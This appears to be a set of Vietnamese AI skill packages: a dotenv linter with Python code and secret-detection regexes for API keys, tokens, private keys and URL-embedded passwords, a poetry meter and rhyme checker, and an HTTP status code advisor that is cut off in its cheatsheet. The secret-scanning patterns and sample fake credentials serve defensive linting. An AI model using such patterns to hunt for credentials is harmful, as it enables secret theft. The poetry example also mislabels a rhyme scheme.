# Các mẫu bí mật → giá trị giữ chỗ (placeholders)
| Trông giống như | Giá trị giữ chỗ (Placeholder) |
|---|---|
| `sk-` + chuỗi chữ và số dài | `sk-your-openai-key` |
| `ghp_` / `github_pat_` | `ghp_your_token` |
| `AKIA` + 16 ký tự | `AKIA_YOUR_ACCESS_KEY` |
| Khối khóa riêng tư `-----BEGIN` | loại bỏ khỏi tệp ví dụ; thay vào đó hãy ghi chú đường dẫn tới tệp khóa |
| Chuỗi giống base64 dài từ 32 ký tự trở lên | `replace-me` hoặc `changeme_<purpose>` |
| URL cơ sở dữ liệu có chứa mật khẩu | `postgres://USER:PASSWORD@host:5432/db` |
Khi xuất tệp ví dụ, hãy thay thế các giá trị trông giống thông tin bí mật bằng giá trị giữ chỗ và giữ nguyên các cấu hình không nhạy cảm (cổng kết nối, cờ tính năng feature flags, URL công khai) nếu chúng rõ ràng không chứa thông tin mật.
FILE:templates/lint-report.md
# Báo cáo kiểm tra (lint) Dotenv
## Tệp đã rà soát
- Đường dẫn / vai trò: `.env` | `.env.example` | khác
## Tóm tắt
- HIGH: …
- WARN: …
- INFO: …
## Các vấn đề phát hiện
| Mức độ | Dòng | Khóa (Key) | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
## Tệp `.env.example` đề xuất
```dotenv
…
```
## Cần xoay vòng (rotate) nếu bị lộ
- …
FILE:examples/example-webapp-env-review.md
# Ví dụ: tệp `.env.example` lộn xộn của ứng dụng web
**Đầu vào (chưa đạt):**
```
export DB_URL=postgres://app:SuperSecret123@db:5432/app
API_KEY = sk-proj-abcdefghijklmnopqrstuvwxyz012345
PORT=3000
PORT=3001
FEATURE_X=true
```
**Các phát hiện:**
- HIGH: `API_KEY` trông giống như một khóa kiểu OpenAI đang hoạt động nằm trong tệp ví dụ.
- HIGH: khóa `PORT` bị trùng lặp.
- WARN: có khoảng trắng xung quanh dấu `=` ở khóa `API_KEY`.
- INFO: có tiền tố `export` ở khóa `DB_URL`.
- HIGH: mật khẩu cơ sở dữ liệu được nhúng trực tiếp trong URL ví dụ.
**Tệp ví dụ sau khi làm sạch:**
```
DB_URL=postgres://USER:PASSWORD@db:5432/app
API_KEY=sk-your-openai-key
PORT=3000
FEATURE_X=true
```
FILE:scripts/dotenv_lint.py
#!/usr/bin/env python3
"""Lint .env / .env.example files for syntax and likely secrets.
Usage:
python3 dotenv_lint.py .env
python3 dotenv_lint.py .env.example --example-mode
python3 dotenv_lint.py app.env --emit-example cleaned.env.example
python3 dotenv_lint.py - --json < sample.env
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from pathlib import Path
SECRET_RES = [
(re.compile(r"sk-[A-Za-z0-9-]{20,}"), "openai-like key"),
(re.compile(r"ghp_[A-Za-z0-9]{20,}"), "github token"),
(re.compile(r"github_pat_[A-Za-z0-9_]{20,}"), "github pat"),
(re.compile(r"AKIA[0-9A-Z]{16}"), "aws access key id"),
(re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"), "private key block"),
(re.compile(r"(?i)password=([^&\s]{8,})"), "password in URL"),
(re.compile(r"(?i)://[^:/@]+:[^@/]{8,}@"), "credentials embedded in URL"),
]
LINE_RE = re.compile(
r"^(?P<export>export\s+)?(?P<key>[A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?P<val>.*)$"
)
def mask(val: str) -> str:
if len(val) <= 8:
return "***"
return val[:3] + "…" + val[-4:]
def looks_placeholder(val: str) -> bool:
v = val.strip().strip("'\"")
low = v.lower()
if (
not v
or "your-" in low
or "changeme" in low
or "replace" in low
or "example" in low
or low in {"password", "user", "todo", "xxx"}
or "user:password@" in low
or "://user:password@" in low
):
return True
# URL with obvious placeholders
if "://" in v and "@" in v:
if re.search(r"://(USER|user|USERNAME|username):(PASSWORD|password|PASS|pass|secret)@", v):
return True
return False
def parse_file(text: str) -> tuple[list[dict], list[dict]]:
findings = []
entries = []
seen = {}
for i, line in enumerate(text.splitlines(), 1):
raw = line.rstrip("\n")
stripped = raw.strip()
if not stripped or stripped.startswith("#"):
continue
m = LINE_RE.match(stripped)
if not m:
findings.append({"severity": "HIGH", "line": i, "key": None,
"issue": "unparseable line", "fix": "use KEY=VALUE"})
continue
key, val, export = m.group("key"), m.group("val"), m.group("export")
if re.search(r"\s=\s|=\s|\s=", raw.split("#")[0]) and " = " in raw:
findings.append({"severity": "WARN", "line": i, "key": key,
"issue": "spaces around equals", "fix": f"{key}={val.strip()}"})
if export:
findings.append({"severity": "INFO", "line": i, "key": key,
"issue": "export prefix", "fix": "drop export for dotenv parsers"})
if key in seen:
findings.append({"severity": "HIGH", "line": i, "key": key,
"issue": f"duplicate key (also line {seen[key]})",
"fix": "keep a single definition"})
seen[key] = i
# strip inline comments for unquoted values
store_val = val
if val and not (val.startswith("'") or val.startswith('"')):
if " #" in val:
store_val = val.split(" #", 1)[0].rstrip()
entries.append({"line": i, "key": key, "value": store_val, "raw": raw})
return findings, entries
def secret_findings(entries: list[dict], example_mode: bool) -> list[dict]:
out = []
for e in entries:
val = e["value"].strip().strip("'\"")
if looks_placeholder(val):
continue
for rx, label in SECRET_RES:
if rx.search(val):
sev = "HIGH" if example_mode else "WARN"
out.append({"severity": sev, "line": e["line"], "key": e["key"],
"issue": f"likely secret ({label}): {mask(val)}",
"fix": "replace with placeholder in example files; rotate if committed"})
break
else:
# long random-ish token
if example_mode and len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
out.append({"severity": "HIGH", "line": e["line"], "key": e["key"],
"issue": f"long token-like value: {mask(val)}",
"fix": "use a placeholder like replace-me"})
return out
def emit_example(entries: list[dict]) -> str:
lines = []
seen = set()
for e in entries:
if e["key"] in seen:
continue
seen.add(e["key"])
val = e["value"].strip().strip("'\"")
secret = False
if not looks_placeholder(val):
for rx, _ in SECRET_RES:
if rx.search(val):
secret = True
break
if len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
secret = True
if secret or (val and not looks_placeholder(val) and re.search(r"(?i)secret|password|token|api[_-]?key", e["key"])):
if re.search(r"(?i)api[_-]?key|token", e["key"]):
new_v = "replace-me-token"
elif re.search(r"(?i)password|secret", e["key"]):
new_v = "changeme"
elif "://" in val and "@" in val:
new_v = re.sub(r"://([^:/@]+):([^@/]+)@", r"://USER:PASSWORD@", val)
else:
new_v = "replace-me"
else:
new_v = val
lines.append(f"{e['key']}={new_v}")
return "\n".join(lines) + ("\n" if lines else "")
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("path", help="Env file path, or - for stdin")
ap.add_argument("--example-mode", action="store_true",
help="Treat file as .env.example (secrets are HIGH)")
ap.add_argument("--emit-example", metavar="PATH", help="Write sanitized example file")
ap.add_argument("--json", action="store_true")
args = ap.parse_args(argv)
if args.path == "-":
text = sys.stdin.read()
else:
path = Path(args.path)
if not path.is_file():
print(f"error: file not found: {args.path}", file=sys.stderr)
return 2
text = path.read_text(encoding="utf-8")
example_mode = args.example_mode or (args.path != "-" and Path(args.path).name.endswith(".example"))
findings, entries = parse_file(text)
findings.extend(secret_findings(entries, example_mode))
findings.sort(key=lambda f: ({"HIGH": 0, "WARN": 1, "INFO": 2}[f["severity"]], f["line"] or 0))
example = emit_example(entries)
if args.emit_example:
Path(args.emit_example).write_text(example, encoding="utf-8")
summary = {"HIGH": 0, "WARN": 0, "INFO": 0}
for f in findings:
summary[f["severity"]] += 1
if args.json:
json.dump({"summary": summary, "findings": findings, "example": example}, sys.stdout, indent=2)
sys.stdout.write("\n")
else:
print(f"summary: HIGH={summary['HIGH']} WARN={summary['WARN']} INFO={summary['INFO']}")
for f in findings:
key = f["key"] or "-"
print(f"[{f['severity']}] line {f['line']}: {key}: {f['issue']} → {f['fix']}")
if args.emit_example:
print(f"wrote example: {args.emit_example}")
return 1 if summary["HIGH"] else 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Đếm số âm tiết trên mỗi dòng bằng thuật toán heuristic minh bạch, kiểm tra các thể thơ phổ biến (haiku, limerick, mục tiêu ngũ bộ nhị âm iambic pentameter), lập sơ đồ vần cuối (AABB, ABAB, ABCB) và đánh dấu các dòng gần đạt kèm gợi ý chỉnh sửa. Sử dụng khi người dùng hỏi "bài này có đúng nhịp không?", "đây có phải thơ haiku không?" hoặc "sơ đồ vần của tôi là gì?". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
name: poetry-meter-and-rhyme-checker
description: Đếm số âm tiết trên mỗi dòng bằng thuật toán heuristic minh bạch, kiểm tra các thể thơ phổ biến (haiku, limerick, mục tiêu ngũ bộ nhị âm iambic pentameter), lập sơ đồ vần cuối (AABB, ABAB, ABCB) và đánh dấu các dòng gần đạt kèm gợi ý chỉnh sửa. Sử dụng khi người dùng hỏi "bài này có đúng nhịp không?", "đây có phải thơ haiku không?" hoặc "sơ đồ vần của tôi là gì?". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Kiểm Tra Nhịp Điệu và Vần Thơ
Bạn giúp người viết xem bản thảo thơ của họ ngắt nhịp ra sao: số âm tiết trên mỗi dòng, phác thảo trọng âm hợp lý cho các mục tiêu nhịp điệu tiếng Anh, và sơ đồ vần cuối (end-rhyme scheme). Bạn thẳng thắn chia sẻ rằng việc đếm âm tiết tiếng Anh dựa trên quy tắc ước lượng (heuristic), trình bày rõ cách tính của mình, và gợi ý những chỉnh sửa nhỏ thay vì viết lại cả bài thơ trừ khi được yêu cầu.
## Các tệp trong kỹ năng này
- `scripts/poetry_check.py` - ước tính số âm tiết, kiểm tra thể thơ, phát hiện sơ đồ vần (chỉ dùng thư viện chuẩn Python 3)
- `references/forms-and-targets.md` - mục tiêu số âm tiết và cách gieo vần cho các thể thơ ngắn phổ biến
- `references/syllable-heuristic.md` - cách bộ đếm hoạt động và những trường hợp nó có thể sai (tên riêng, đuôi -ed, nguyên âm đôi)
- `templates/poetry-report.md` - mẫu báo cáo kết quả trả về
- `examples/example-haiku-and-quatrain.md` - các ví dụ minh họa chi tiết
## Quy trình làm việc
### 1. Thu thập thông tin
- Văn bản bài thơ (giữ nguyên cách ngắt dòng của người dùng).
- Thể thơ mục tiêu nếu có: haiku, tanka, limerick, cặp câu kết sonnet (sonnet couplet), thơ tự do chỉ kiểm tra vần, hoặc mẫu số âm tiết tùy chỉnh.
- Ghi chú phương ngữ (chính tả Anh-Mỹ / Anh-Anh) khi có liên quan đến các đuôi như `-our` / `-or`.
### 2. Chạy trình kiểm tra
```bash
python3 scripts/poetry_check.py poem.txt
python3 scripts/poetry_check.py poem.txt --form haiku
python3 scripts/poetry_check.py poem.txt --form limerick --rhyme
python3 scripts/poetry_check.py - --json < poem.txt
```
### 3. Tư vấn
1. Hiển thị bảng số âm tiết theo từng dòng và sơ đồ vần phát hiện được.
2. Cho biết bài thơ có đạt mục tiêu thể thơ hay không, và những dòng nào bị lệch bao nhiêu âm tiết.
3. Đưa ra các chỉnh sửa tối thiểu (đổi từ đồng nghĩa, tách từ ghép, bỏ từ đệm) thay vì viết lại toàn bộ.
4. Trả kết quả theo mẫu `templates/poetry-report.md`.
## Quy tắc
- Luôn gắn nhãn số lượng âm tiết là con số ước tính (estimates).
- Không chế giễu giọng văn của người viết; luôn để các gợi ý ở dạng tùy chọn tham khảo.
- Đối với thơ tự do, vẫn báo cáo số âm tiết và vần nếu hữu ích, nhưng không ép bài thơ vào một khuôn mẫu cố định.
FILE:references/forms-and-targets.md
# Các thể thơ và mục tiêu
| Thể thơ | Mục tiêu âm tiết (các dòng) | Cách gieo vần điển hình |
|---|---|---|
| Haiku (dạng giảng dạy tiếng Anh) | 5 / 7 / 5 | thường không gieo vần |
| Tanka | 5 / 7 / 5 / 7 / 7 | thường không gieo vần |
| Limerick | ~8–9 / 8–9 / 5–6 / 5–6 / 8–9 | AABBA |
| Thơ bốn câu Quatrain (ballad) | thường là 8 / 6 / 8 / 6 | ABCB hoặc ABAB |
| Cặp câu anh hùng (Heroic couplet) | ~10 / 10 (mang nhịp điệu ngũ bộ nhị âm iambic pentameter) | AA |
Số lượng đơn vị âm tiết (mora) chính xác trong thơ cổ điển Nhật Bản khác với quy tắc đếm âm tiết trong giảng dạy tiếng Anh; kỹ năng này sử dụng các mục tiêu giảng dạy tiếng Anh phổ biến trừ khi người dùng yêu cầu phân tích theo đơn vị mora.
FILE:references/syllable-heuristic.md
# Thuật toán ước lượng âm tiết (những giới hạn thực tế)
Script ước tính số âm tiết tiếng Anh bằng cách:
1. Chuyển thành chữ thường và loại bỏ dấu câu.
2. Đếm các nhóm nguyên âm (`a e i o u y`) kèm theo các điều chỉnh phổ biến cho âm `e` câm và đuôi `-ed` / `-es`.
3. Xử lý các từ ghép có dấu gạch ngang bằng tổng số âm tiết của từng phần.
## Các trường hợp sai số đã biết
- Tên riêng (`Olivia`, `Michael`) và các từ mượn.
- Các từ mà `y` đóng vai trò phụ âm (`beyond`) so với nguyên âm (`rhythm` vẫn là trường hợp khó).
- Các đuôi `-ism`, `-tion`, và cách phát âm nuốt âm (`family` có thể tính là 2 hoặc 3 âm tiết).
Khi kết quả đếm có vẻ không chính xác, hãy nêu rõ điều đó và cung cấp tùy chọn ghi đè thủ công trong báo cáo.
FILE:templates/poetry-report.md
# Báo cáo nhịp điệu và vần thơ
## Thể thơ mục tiêu
- …
## Bảng phân tích từng dòng
| # | Dòng thơ | Số âm tiết (ước tính) | Từ cuối dòng | Chữ cái ký hiệu vần |
|---|---|---|---|---|
## Kiểm tra thể thơ
- Đạt / Không đạt: …
- Các dòng lệch chuẩn: …
## Sơ đồ vần
- …
## Ý tưởng chỉnh sửa tối thiểu
- …
## Ghi chú về các số đếm chưa chắc chắn
- …
FILE:examples/example-haiku-and-quatrain.md
# Các ví dụ
## Thơ Haiku (đạt chuẩn 5-7-5)
```
An old silent pond
A frog jumps into the pond—
Splash! Silence again.
```
Số âm tiết ước tính thường rơi vào khoảng 5 / 7 / 5 tùy thuộc vào cách đọc `silent` và `silence`.
## Thơ bốn câu (Quatrain) gieo vần ABCB
```
The woods are lovely, dark and deep,
But I have promises to keep,
And miles to go before I sleep,
And miles to go before I sleep.
```
Các từ cuối dòng deep/keep/sleep/sleep → tạo thành sơ đồ AAAA nếu tất cả cùng hiệp vần với nhau; một mẫu ABCB thực thụ cần sử dụng các từ ở vị trí B và C khác nhau.
FILE:scripts/poetry_check.py
#!/usr/bin/env python3
"""Estimate syllables, check simple forms, and map end-rhyme schemes.
Usage:
python3 poetry_check.py poem.txt
python3 poetry_check.py poem.txt --form haiku
python3 poetry_check.py poem.txt --form limerick --rhyme
python3 poetry_check.py - --json < poem.txt
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from pathlib import Path
FORMS = {
"haiku": [5, 7, 5],
"tanka": [5, 7, 5, 7, 7],
"limerick": None, # soft ranges handled separately
}
VOWELS = set("aeiouy")
def strip_word(w: str) -> str:
return re.sub(r"[^a-zA-Z']", "", w).lower()
def syllables_word(word: str) -> int:
w = strip_word(word)
if not w:
return 0
# common overrides
overrides = {
"poem": 2, "poems": 2, "fire": 1, "hour": 1, "our": 1, "//": 0,
"family": 3, "every": 3, "different": 3, "interesting": 4,
"rhythm": 2, "business": 2, "wednesday": 2, "beautiful": 3,
}
if w in overrides:
return overrides[w]
if "-" in word:
return sum(syllables_word(p) for p in word.split("-"))
# remove trailing silent e
base = w
if base.endswith("e") and not base.endswith(("le", "ue", "oe")) and len(base) > 2:
base = base[:-1]
# -ed endings: walked=1 extra often silent
if re.search(r"[^aeiou]ed$", w) and not w.endswith(("ted", "ded")):
base = re.sub(r"ed$", "", w)
if base.endswith("e"):
base = base[:-1]
groups = re.findall(r"[aeiouy]+", base)
count = len(groups) if groups else 1
# adjust ion/ial
if w.endswith(("tion", "sion", "cial", "tial")):
count = max(count, 2)
return max(1, count)
def end_word(line: str) -> str:
words = [w for w in re.findall(r"[A-Za-z']+", line)]
return words[-1].lower() if words else ""
def rhyme_key(word: str) -> str:
w = strip_word(word)
if not w:
return ""
aliases = {
"you": "oo", "blue": "oo", "too": "oo", "two": "oo", "to": "oo", "through": "oo",
"threw": "oo", "shoe": "oo", "who": "oo", "new": "oo", "knew": "oo", "true": "oo",
"lee": "ee", "tea": "ee", "glee": "ee", "sea": "ee", "me": "ee", "we": "ee", "be": "ee",
"green": "een", "keen": "een", "seen": "een", "mean": "een",
}
if w in aliases:
return aliases[w]
matches = list(re.finditer(r"[aeiouy]+", w))
if not matches:
return w
start = matches[-1].start()
if len(matches) >= 2 and len(w) - start < 2:
start = matches[-2].start()
tail = w[start:]
# light normalization for common English end-rhymes
for a, b in (
("igh", "i"), ("ea", "ee"), ("ee", "ee"), ("ey", "ee"), ("ie", "ee"),
("ay", "ei"), ("ai", "ei"), ("ou", "ow"), ("oo", "u"), ("ue", "u"),
):
if a in tail:
tail = tail.replace(a, b)
return tail
def rhyme_scheme(end_words: list[str]) -> str:
mapping = {}
letters = []
next_ord = 0
for w in end_words:
key = rhyme_key(w)
if not key:
letters.append("-")
continue
# near-rhyme: same key
if key not in mapping:
# also merge if share last 2 chars and vowel
found = None
for k, let in mapping.items():
if k == key or (len(k) >= 2 and len(key) >= 2 and k[-2:] == key[-2:]):
found = let
mapping[key] = let
break
if found is None:
let = chr(ord("A") + next_ord)
next_ord += 1
mapping[key] = let
letters.append(mapping[key])
return "".join(letters)
def limerick_ok(counts: list[int]) -> tuple[bool, str]:
if len(counts) != 5:
return False, f"expected 5 lines, got {len(counts)}"
ranges = [(7, 10), (7, 10), (4, 7), (4, 7), (7, 10)]
misses = []
for i, (c, (lo, hi)) in enumerate(zip(counts, ranges), 1):
if not (lo <= c <= hi):
misses.append(f"line {i}: {c} not in {lo}-{hi}")
return (not misses), ("; ".join(misses) if misses else "ok")
def analyze(text: str, form: str | None) -> dict:
lines = [ln.rstrip() for ln in text.splitlines() if ln.strip()]
rows = []
counts = []
ends = []
for i, ln in enumerate(lines, 1):
words = re.findall(r"[A-Za-z']+(?:-[A-Za-z']+)*", ln)
sc = sum(syllables_word(w) for w in words)
ew = end_word(ln)
counts.append(sc)
ends.append(ew)
rows.append({"n": i, "line": ln, "syllables": sc, "end": ew})
scheme = rhyme_scheme(ends)
form_result = None
if form == "limerick":
ok, detail = limerick_ok(counts)
rhyme_ok = scheme == "AABBA"
form_result = {"form": form, "pass": ok and rhyme_ok, "detail": detail,
"rhyme_expected": "AABBA", "rhyme_got": scheme}
elif form in FORMS and FORMS[form]:
target = FORMS[form]
if len(counts) != len(target):
form_result = {"form": form, "pass": False,
"detail": f"expected {len(target)} lines, got {len(counts)}",
"target": target, "got": counts}
else:
misses = [f"line {i}: got {g}, want {t}" for i, (g, t) in enumerate(zip(counts, target), 1) if g != t]
form_result = {"form": form, "pass": not misses, "detail": "; ".join(misses) or "ok",
"target": target, "got": counts}
return {"lines": rows, "rhyme_scheme": scheme, "form_check": form_result}
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("path", help="Poem file, or - for stdin")
ap.add_argument("--form", choices=["haiku", "tanka", "limerick"], help="Form to validate")
ap.add_argument("--rhyme", action="store_true", help="Always print rhyme scheme (default on)")
ap.add_argument("--json", action="store_true")
args = ap.parse_args(argv)
text = sys.stdin.read() if args.path == "-" else Path(args.path).read_text(encoding="utf-8")
result = analyze(text, args.form)
if args.json:
json.dump(result, sys.stdout, indent=2)
sys.stdout.write("\n")
else:
print("n | syl | end | line")
for r in result["lines"]:
print(f"{r['n']:<2}| {r['syllables']:<3}| {r['end']:<12}| {r['line']}")
print(f"rhyme scheme: {result['rhyme_scheme']}")
fc = result["form_check"]
if fc:
print(f"form {fc['form']}: {'PASS' if fc['pass'] else 'FAIL'} ({fc['detail']})")
if "rhyme_expected" in fc:
print(f" rhyme expected {fc['rhyme_expected']}, got {fc['rhyme_got']}")
if result["form_check"] and not result["form_check"]["pass"]:
return 1
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Chọn mã trạng thái HTTP chính xác cho một phản hồi API từ mô tả ngắn gọn về những gì đã xảy ra (đã tạo, xác thực thất bại, không tìm thấy, xung đột, giới hạn tần suất, dịch vụ thượng nguồn ngừng hoạt động) và giải thích lý do, kèm theo các lỗi phổ biến cần tránh. Sử dụng khi thiết kế các endpoint REST, đánh giá việc xử lý lỗi API, hoặc khi phân vân "trường hợp này nên trả về 400, 404, 409 hay 422?". Bao gồm một trình gợi ý sử dụng thư viện chuẩn Python.
---
name: http-status-code-advisor
description: Chọn mã trạng thái HTTP chính xác cho một phản hồi API từ mô tả ngắn gọn về những gì đã xảy ra (đã tạo, xác thực thất bại, không tìm thấy, xung đột, giới hạn tần suất, dịch vụ thượng nguồn ngừng hoạt động) và giải thích lý do, kèm theo các lỗi phổ biến cần tránh. Sử dụng khi thiết kế các endpoint REST, đánh giá việc xử lý lỗi API, hoặc khi phân vân "trường hợp này nên trả về 400, 404, 409 hay 422?". Bao gồm một trình gợi ý sử dụng thư viện chuẩn Python.
---
# Cố vấn Mã trạng thái HTTP
Bạn giúp các nhà thiết kế và người đánh giá API chọn mã trạng thái HTTP phù hợp nhất với những gì thực sự đã xảy ra trong một yêu cầu (request). Bạn lập luận dựa trên phương thức yêu cầu (request method), kết quả đầu ra và bên nào có lỗi (máy khách, máy chủ hay dịch vụ thượng nguồn - upstream), đồng thời ưu tiên mã tiêu chuẩn cụ thể nhất mà máy khách có thể dựa vào đó để xử lý. Bạn tuân thủ ngữ nghĩa RFC 9110 và không tự bịa ra các mã phi tiêu chuẩn.
## Các tệp trong kỹ năng này
- `scripts/suggest_status.py` - ánh xạ một mô tả tình huống ngắn gọn (các từ khóa cộng với phương thức) sang một mã được đề xuất, các phương án thay thế và lý do dài một dòng (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/status-cheatsheet.md` - các mã quan trọng đối với API, được nhóm theo phân lớp (class), kèm theo thời điểm sử dụng từng mã
- `references/common-mistakes.md` - các cách dùng sai phổ biến (trả về 200 kèm nội dung báo lỗi, nhầm lẫn 401 với 403, dùng 404 cho danh sách trống, dùng 500 cho lỗi xác thực dữ liệu)
- `templates/decision-tree.md` - luồng câu hỏi từng bước để đi đến mã phù hợp
- `examples/api-scenarios.md` - các tình huống thực tế đã được giải quyết kèm theo mã được chọn và cấu trúc phản hồi
## Quy trình làm việc
### 1. Thu thập thông tin thực tế
Yêu cầu cung cấp, hoặc suy luận từ mã nguồn hay mô tả:
- Phương thức HTTP và endpoint (ví dụ: `POST /orders`)
- Chuyện gì đã xảy ra: thành công, thành công một phần, đã chấp nhận xử lý bất đồng bộ, sự cố đầu vào, sự cố xác thực/phân quyền, thiếu tài nguyên, xung đột trạng thái, giới hạn tần suất (rate limit), lỗi máy chủ hoặc dịch vụ phụ thuộc
- Có trả về phần thân phản hồi (response body) hay không, và có tài nguyên mới nào được tạo ra hay không
- Bất kỳ quy ước API hiện có nào mà nhóm đang tuân theo
### 2. Duyệt qua cây quyết định
Sử dụng `templates/decision-tree.md`. Quyết định phân lớp trước (2xx, 3xx, 4xx, 5xx), sau đó mới đến mã cụ thể. Bên nào gây ra lỗi sẽ quyết định việc chọn 4xx hay 5xx.
### 3. Chạy công cụ hỗ trợ (tùy chọn)
```
python3 scripts/suggest_status.py --method POST "created new order"
python3 scripts/suggest_status.py --method GET "user not logged in"
python3 scripts/suggest_status.py --json "email already exists"
```
Hãy coi kết quả của script như một dự đoán ban đầu; cần xác nhận lại với bảng tra cứu nhanh (cheatsheet).
### 4. Kiểm tra các lỗi phổ biến
Đối chiếu lựa chọn với `references/common-mistakes.md`, đặc biệt là 401 so với 403, 400 so với 422, và 404 so với danh sách trống trả về mã 200.
### 5. Trả lời
Trả về:
1. **Mã được đề xuất** và cụm từ lý do (ví dụ: `409 Conflict`)
2. **Tại sao** trong một hoặc hai câu, gắn liền với các thông tin thực tế
3. **Các phương án thay thế** đã cân nhắc và lý do chúng không được chọn
4. **Các header cần bao gồm** khi có liên quan (`Location` cho 201, `Retry-After` cho 429/503, `WWW-Authenticate` cho 401, `Allow` cho 405)
5. **Phác thảo phần thân báo lỗi** sử dụng chuẩn RFC 9457 Problem Details (`type`, `title`, `status`, `detail`, `instance`) đối với các mã 4xx/5xx
## Quy tắc
- Không bao giờ trả về 2xx cho một thao tác thất bại.
- Chỉ sử dụng 5xx khi máy chủ hoặc dịch vụ thượng nguồn mà nó phụ thuộc vào gặp sự cố, không bao giờ dùng cho dữ liệu đầu vào sai từ phía máy khách.
- Giữ sự nhất quán với các quy ước hiện có của nhóm nếu chúng hợp lý; chỉ cần nhắc đến lựa chọn tiêu chuẩn một lần nếu có sự khác biệt.
- Nếu yêu cầu bảo mật đòi hỏi phải che giấu sự tồn tại của một tài nguyên, hãy nói rõ điều đó khi đề xuất dùng 404 thay vì 403.
FILE:references/common-mistakes.md
# Các lỗi Mã trạng thái phổ biến
1. **Trả về 200 kèm phần thân báo lỗi** (`{"success": false}`). Các máy khách, proxy, bộ nhớ đệm (caches) và hệ thống giám sát đều coi 200 là thành công. Hãy sử dụng đúng mã 4xx/5xx và đưa chi tiết lỗi vào phần thân (body).
2. **Nhầm lẫn giữa 401 và 403.** 401 có nghĩa là "bạn là ai?" (thiếu thông tin xác thực hoặc thông tin xác thực sai). 403 có nghĩa là "tôi biết bạn là ai, và câu trả lời là không được phép." Một người dùng đã đăng nhập nhưng không có quyền sẽ nhận được 403, không phải 401.
3. **Dùng 500 cho đầu vào không hợp lệ.** Lỗi xác thực dữ liệu (validation) là lỗi của phía máy khách: hãy dùng 400 hoặc 422. Dành riêng mã 500 cho các lỗi phần mềm (bugs) và sự cố máy chủ ngoài dự kiến. Sự gia tăng đột biến của mã 500 phải mang ý nghĩa là có thứ gì đó đang bị hỏng ở phía hệ thống của bạn.
4. **Dùng 404 cho một tập hợp trống.** `GET /users?role=admin` khi không có kết quả khớp phải là `200` kèm theo `[]`. Mã 404 chỉ dành cho một tài nguyên cụ thể bị thiếu, chẳng hạn như `/users/9999`.
5. **Dùng 400 cho mọi thứ.** Ưu tiên sử dụng mã cụ thể khi nó giúp máy khách biết cách xử lý: 409 cho dữ liệu trùng lặp, 413 cho dữ liệu vượt quá kích thước, 415 cho sai kiểu nội dung (content type), 429 cho giới hạn tần suất (rate limits).
6. **Dùng 201 mà không có `Location`.** Khi bạn tạo một tài nguyên có URL riêng, hãy gửi kèm `Location: /orders/123`.
7. **Dùng 204 kèm theo phần thân (body).** Mã 204 không được phép chứa nội dung trả về. Nếu bạn trả về tài nguyên, hãy sử dụng 200.
8. **Dùng 302 trong API.** Các máy khách có thể tự động đổi phương thức POST thành GET. Hãy sử dụng 307 hoặc 308 khi cần giữ nguyên phương thức gọi.
9. **503 so với 500.** 503 có nghĩa là sự cố tạm thời và có thể thử lại (đang bảo trì, quá tải), lý tưởng nhất là đi kèm `Retry-After`. 500 có nghĩa là một lỗi bất ngờ không lường trước.
10. **Làm lộ sự tồn tại của tài nguyên qua mã 403.** Đối với các tài nguyên riêng tư, việc trả về 404 cho người dùng không có quyền có thể ngăn chặn hành vi dò quét liệt kê (enumeration). Hãy quyết định một cách có chủ đích và ghi lại vào tài liệu.
11. **Sử dụng 422 và 400 thiếu nhất quán.** Hãy chọn một quy tắc (400 = không thể phân tích cú pháp, 422 = đã phân tích cú pháp nhưng giá trị không hợp lệ) và áp dụng nó trên mọi endpoint.
12. **Các mã phi tiêu chuẩn** (ví dụ: dùng 418 trên môi trường production, 499, các mã 6xx tự chế). Nhiều máy khách và proxy xử lý chúng rất kém. Hãy tuân thủ các mã đã được đăng ký chính thức.
FILE:references/status-cheatsheet.md
# Bảng tra cứu nhanh Mã trạng thái HTTP cho API
Dựa trên RFC 9110 (Ngữ nghĩa HTTP), RFC 6585 (429), và RFC 9457 (Chi tiết sự cố - Problem Details).
## 2xx Thành công (Success)
| Mã | Tên | Sử dụng khi |
|---|---|---|
| 200 | OK | Yêu cầu thành công và phần thân chứa kết quả (GET, hoặc PUT/PATCH trả về tài nguyên đã cập nhật). |
| 201 | Created | Một tài nguyên mới đã được tạo. Gửi kèm `Location` chứa URL của nó; phần thân thường chứa tài nguyên đó. |
| 202 | Accepted | Công việc đã được đưa vào hàng đợi và sẽ hoàn tất sau. Trả về một URL theo dõi trạng thái hoặc job id. |
| 204 | No Content | Thành công nhưng không có phần thân trả về (DELETE, hoặc PUT/PATCH khi bạn không trả về dữ liệu gì). |
| 206 | Partial Content | Phục vụ một dải byte (byte range) để phản hồi lại header `Range`. |
## 3xx Chuyển hướng (Redirection)
| Mã | Tên | Sử dụng khi |
|---|---|---|
| 301 | Moved Permanently | Tài nguyên có một URL cố định mới (phương thức có thể bị đổi thành GET trên các máy khách cũ). |
| 304 | Not Modified | Yêu cầu GET có điều kiện (`If-None-Match` / `If-Modified-Since`) và không có gì thay đổi. |
| 307 | Temporary Redirect | Di chuyển tạm thời; máy khách phải lặp lại yêu cầu với cùng phương thức và phần thân. |
| 308 | Permanent Redirect | Di chuyển vĩnh viễn; giữ nguyên cùng phương thức và phần thân. |
## 4xx Lỗi phía máy khách (Client errors)
| Mã | Tên | Sử dụng khi |
|---|---|---|
| 400 | Bad Request | Cú pháp sai định dạng: JSON không hợp lệ, sai cấu trúc nội dung, thiếu tham số truy vấn (query param) bắt buộc. |
| 401 | Unauthorized | Không có thông tin xác thực hoặc thông tin xác thực không hợp lệ/đã hết hạn. Gửi kèm `WWW-Authenticate`. |
| 403 | Forbidden | Đã xác thực danh tính, nhưng không được phép thực hiện thao tác này. |
| 404 | Not Found | Tài nguyên không tồn tại (hoặc bạn muốn ẩn việc nó có tồn tại). |
